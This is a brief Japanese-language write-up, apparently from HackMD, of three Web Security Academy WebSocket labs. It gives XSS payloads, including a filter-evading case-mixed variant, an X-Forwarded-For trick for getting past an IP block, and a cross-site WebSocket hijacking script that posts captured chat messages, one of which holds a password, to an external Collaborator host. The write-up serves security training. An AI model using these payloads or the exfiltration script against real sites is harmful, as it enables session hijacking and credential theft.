# Web Security Academy Websocket vulnerability Writeup [toc] ## Manipulating WebSocket messages to exploit vulnerabilities `/chat`に移動し、`<img src=x onerror=alert(1)>`を入力すると、以下のようなメッセージが飛ぶことがわかります。 ```text= {"message":"<img src=x onerror=alert(1)>"} ``` クライアント側でエスケープされているようです。 これはただインターセプトして、メッセージを書き換えるだけで良いので簡単です。 payloadは先程のやつなだけ。 ## Manipulating the WebSocket handshake to exploit vulnerabilities ```json= {"error":"Attack detected: Event handler"} ``` 攻撃の可能性を検知したらWebSocketのコネクションがkillされます。 また、IP制限が掛かりそうです。 IP制限自体は、`X-Forwarded-For`を使えばバイパスできそうでした。 **payload** ```text= {"message":"<img src=1 oNeRrOr=alert`1`>"} ``` ## Cross-site WebSocket hijacking **script** ```text! <script> var ws = new WebSocket('wss://{domain}.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://{collaborator}.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> ``` **respnse** ```text! {"user":"Hal Pline","content":"No problem carlos, it's odj27drcv46c2ehxfcsi"} ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up